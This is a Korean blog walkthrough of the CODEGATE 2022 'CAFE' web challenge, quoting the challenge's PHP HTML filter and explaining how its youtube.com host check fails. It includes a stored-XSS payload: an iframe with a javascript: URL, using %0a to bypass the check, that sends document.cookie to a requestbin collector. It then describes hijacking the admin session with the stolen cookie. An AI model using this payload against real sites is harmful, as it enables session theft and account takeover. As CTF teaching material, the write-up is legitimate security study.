CTF/웹해킹

[CODEGATE2022] CAFE - 웹해킹 / XSS

SecurityMan 2023. 9. 24. 11:00

 

코드게이트2022 예선에 출제되었던

 

XSS와 관련된 웹해킹 문제

 

반응형

 

 

문제 페이지에 접속하면

 

회원가입을 요구하고,

 

회원가입을 한 뒤 로그인해서 들어가면 이렇게 게시판 형태의 페이지가 나온다.

 

    if( isset($data['title']) && isset($data['content']) ){
        $title = htmlspecialchars($data['title']);
        $content = $data['content'];
       
        if (strpos($content, '<') !== false) $result = filterHtml($content);
        else $result = $content;

        $res = insertPost($title, $result, $_SESSION['id']);
        if( $res == 0 ){
            die('{"success":0}');
        }else{
            die('{"success":1}');
        }
    }else{
        die('{"success":0}');
    }

 

제공된 소스코드 중

 

write.php 파일을 보게되면 

 

title 칸에는 htmlspecialchars 함수로 xss가 불가능하게 만들어 놨고,

 

content 칸에는 < 가 포함되었는지 확인하고

 

여부에 따라 filterhtml 함수를 수행하고 게시글을 저장하도록 해놨다.

 

이 부분이 포인트라고 생각했다.

 

  function filterHtml($content) {
    $result = '';

    $html = new simple_html_dom();
    $html->load($content);
    $allowTag = ['a', 'img', 'p', 'span', 'br', 'hr', 'b', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'strong', 'em', 'code', 'iframe'];

    foreach($allowTag as $tag){
      foreach($html->find($tag) as $element) {
        switch ($tag) {
          case 'a':
            $result .= '<a href="' . str_replace('"', '', $element->href) . '">' . htmlspecialchars($element->innertext) . '</a>';
            break;
          case 'img':
            $result .= '<img src="' . str_replace('"', '', $element->src) . '">' . '</img>';
            break;
          case 'p':
          case 'span':
          case 'b':
          case 'h1':
          case 'h2':
          case 'h3':
          case 'h4':
          case 'h5':
          case 'h6':
          case 'strong':
          case 'em':
          case 'code':
            $result .= '<' . $tag . '>' . htmlspecialchars($element->innertext) . '</' . $tag . '>';
            break;
          case 'iframe':
            $src = $element->src;
            $host = parse_url($src)['host'];
            if (strpos($host, 'youtube.com') !== false){
              $result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
            }
            break;
        }
      }
    }
    return $result;
  }

 

filterhtml 함수는 util.php 에서 찾을 수 있었다.

 

write.php 에서 < 가 입력 된것을 확인했다면

 

여기서 특정 태그만 실행이 가능토록 설정해 놓았다.

 

예를들어 가장 마지막에 iframe 태그는 host 가 youtube.com 일 경우

 

입력이 가능토록 되어있는데

 

 

실제로 게시판에

 

<iframe src = 'http://youtube.com'> 이라고 입력한 뒤 저장하면

 

 

iframe 태그가 삽입되는 것을 확인할 수 있다.

 

 

payload 는 이렇게 작성했다.

 

<iframe src='javascript://youtube.com%0a document.location.href=`requestsbin 주소?a=`+document.cookie;'>

 

중간에 %0a를 삽입한 것은

 

엔터 친 효과를 주는데 필터링을 우회하기 위함이다.

 

 

이렇게 입력하면 iframe 태그가 삽입이 되면서

 

javascript 코드로 인해 requestbin 주소로 리다이렉트가 된다.

 

 

requestbin 에서 잠시 기다리면

 

admin 의 PHPSESSID 쿠키값이 탈취되는 것을 확인할 수 있다.

 

 

해당 쿠키값을 가져와 EditThistCookie 크롬 확장프로그램을 이용해

 

교체해주면

 

 

admin 으로 로그인이 가능하고

 

admin 이 작성한 1번 게시물인 flag를 읽으면

 

 

플래그를 찾을 수 있다.

반응형